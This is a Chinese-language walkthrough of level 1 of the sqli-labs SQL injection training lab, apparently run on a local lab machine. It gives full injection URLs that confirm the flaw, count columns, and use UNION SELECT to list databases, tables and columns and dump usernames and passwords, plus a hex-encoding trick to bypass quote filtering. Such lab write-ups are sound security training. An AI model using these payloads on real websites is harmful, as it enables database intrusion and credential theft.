sqli 第一关
加入?id=1 ?id=1”正常;
这里可以简单猜测一下回显到浏览器的数据有两,一个是name,y 一个是password
?id=1’ 报错 说明存在字符型单引号注入
报错信息: 并且报错信息会回显到浏览器
利用注释符 --+把后面的 ‘ LIMIT 0,1 注释掉
然后利用 order by 4 来判断表的列数
但是报错了,说明不是4列
order by 3 显示正常说明表为3列
如果输入的id不存在 啥都不显示
利用这一点,可以注释掉id内容,然后通过联合查询union select 1,2,3 来判断页面有多少个显示位
通过执行http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,3–+
得到,其中第一列我们输入的数据1并没有回显到页面中,而2,3分别回显到页面中
从而推导出,第二列和第三列能够回显到页面中
接下来的思路是:爆破数据库的数据库名,表名,列名,字段信息
继续利用union select把命令注入到sql中进行查询,并返回
group_concat(schema_name) from information_schema.schemata 可以爆出所有的数据库名
完整的命令:
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1, 2, group_concat(schema_name) from information_schema.schemata --+
查询目前回显到当前页面的数据库名称和版本
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,version(),database()–+
可以知道,我们接下来应该爆破的数据库应该是security
查询security数据库下的表名
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’) --+
按照经验,我们接下来应该查看users这个表
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name =‘users’ --+
接下来应该查看列 username 和 password中的字段
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,group_concat(username) from security.users --+
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,group_concat(password) from security.users --+
可以用函数concat_ws(‘:’,A,B),把账号和密码对应起来
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,group_concat(concat_ws(‘:’,username,password)) from security.users --+
:可以转换成16进制,绕过’检测
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,group_concat(concat_ws(0x3a,username,password)) from security.users --+
第一关结束